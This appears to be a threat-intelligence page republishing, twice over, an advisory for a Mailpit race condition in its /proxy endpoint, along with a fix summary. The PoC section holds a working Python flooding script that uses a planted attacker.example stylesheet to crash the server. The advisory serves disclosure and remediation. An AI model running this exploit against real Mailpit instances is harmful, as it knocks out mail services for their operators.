CVE-2026-45712: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') in axllent mailpit
### Summary The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it. ### Details A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read. Affected code [server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229) [server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66) [server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace. ### PoC 1. Deposit any message with a <link rel="stylesheet" href="https://attacker.example/big.css"> in the store (SMTP or /api/v1/send, both unauthenticated by default). 2. Make a few hundred concurrent requests to /proxy?data=base64(<id>:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly. Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct): ``` # proxy-race.py import socket, threading, base64, sys ID = sys.argv[1] # 22-char shortuuid CSS = "https://attacker.example/big.css" TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode() req = ( f"GET /proxy?data={TOKEN} HTTP/1.1\r\n" f"Host: target:8025\r\n" f"Connection: close\r\n\r\n" ).encode() def hit(): try: s = socket.create_connection(("target", 8025), timeout=10) s.sendall(req) while s.recv(8192): pass s.close() except Exception: pass for _ in range(50): # 50 rounds ts = [threading.Thread(target=hit) for _ in range(300)] for t in ts: t.start() for t in ts: t.join() ``` When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits: ``` fatal error: concurrent map read and map write goroutine 123 [running]: runtime.throw(...) github.com/axllent/mailpit/server/handlers.ProxyHandler(...) server/handlers/proxy.go:216 ... ``` …and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration. ### Impact Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).
AI Analysis
Technical Summary
CVE-2026-45712 describes a race condition vulnerability in the Mailpit email testing tool before version 1.30.0. The vulnerability arises because the /proxy?data=… endpoint accesses a package-level map cache without proper synchronization during reads, while a cleanup goroutine and CSS-rewriting code write to the map under a mutex. This concurrent unsynchronized read and synchronized write triggers a fatal runtime error in Go, causing the entire Mailpit process to exit unexpectedly and disrupting all associated network services. The issue is fixed in Mailpit version 1.30.0.
Potential Impact
Exploitation of this race condition causes the Mailpit process to crash, resulting in denial of service by shutting down SMTP, POP3, and HTTP listeners. There is no impact on confidentiality or integrity, only availability is affected.
Mitigation Recommendations
A patch is available in Mailpit version 1.30.0 that fixes the race condition by properly synchronizing access to the shared map. Users should upgrade to version 1.30.0 or later to remediate this vulnerability. No other mitigation guidance is provided.
CVE-2026-45712: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') in axllent mailpit
Description
### Summary The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it. ### Details A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read. Affected code [server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229) [server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66) [server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace. ### PoC 1. Deposit any message with a <link rel="stylesheet" href="https://attacker.example/big.css"> in the store (SMTP or /api/v1/send, both unauthenticated by default). 2. Make a few hundred concurrent requests to /proxy?data=base64(<id>:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly. Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct): ``` # proxy-race.py import socket, threading, base64, sys ID = sys.argv[1] # 22-char shortuuid CSS = "https://attacker.example/big.css" TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode() req = ( f"GET /proxy?data={TOKEN} HTTP/1.1\r\n" f"Host: target:8025\r\n" f"Connection: close\r\n\r\n" ).encode() def hit(): try: s = socket.create_connection(("target", 8025), timeout=10) s.sendall(req) while s.recv(8192): pass s.close() except Exception: pass for _ in range(50): # 50 rounds ts = [threading.Thread(target=hit) for _ in range(300)] for t in ts: t.start() for t in ts: t.join() ``` When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits: ``` fatal error: concurrent map read and map write goroutine 123 [running]: runtime.throw(...) github.com/axllent/mailpit/server/handlers.ProxyHandler(...) server/handlers/proxy.go:216 ... ``` …and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration. ### Impact Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).
CVSS v3.1
Score 5.9medium
Affected software
pkg:golang/github.com/axllent/mailpitRun on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-45712 describes a race condition vulnerability in the Mailpit email testing tool before version 1.30.0. The vulnerability arises because the /proxy?data=… endpoint accesses a package-level map cache without proper synchronization during reads, while a cleanup goroutine and CSS-rewriting code write to the map under a mutex. This concurrent unsynchronized read and synchronized write triggers a fatal runtime error in Go, causing the entire Mailpit process to exit unexpectedly and disrupting all associated network services. The issue is fixed in Mailpit version 1.30.0.
Potential Impact
Exploitation of this race condition causes the Mailpit process to crash, resulting in denial of service by shutting down SMTP, POP3, and HTTP listeners. There is no impact on confidentiality or integrity, only availability is affected.
Mitigation Recommendations
A patch is available in Mailpit version 1.30.0 that fixes the race condition by properly synchronizing access to the shared map. Users should upgrade to version 1.30.0 or later to remediate this vulnerability. No other mitigation guidance is provided.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- GitHub_M
- Date Reserved
- 2026-05-13T05:51:48.665Z
- Cvss Version
- 3.1
- State
- PUBLISHED
- Remediation Level
- null
Threat ID: 6a5e3e5d2a4a8d5989464d9f
Added to database: 07/20/2026, 15:27:25 UTC
Last enriched: 07/20/2026, 15:42:35 UTC
Last updated: 09/03/2026, 22:52:12 UTC
Views: 85
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.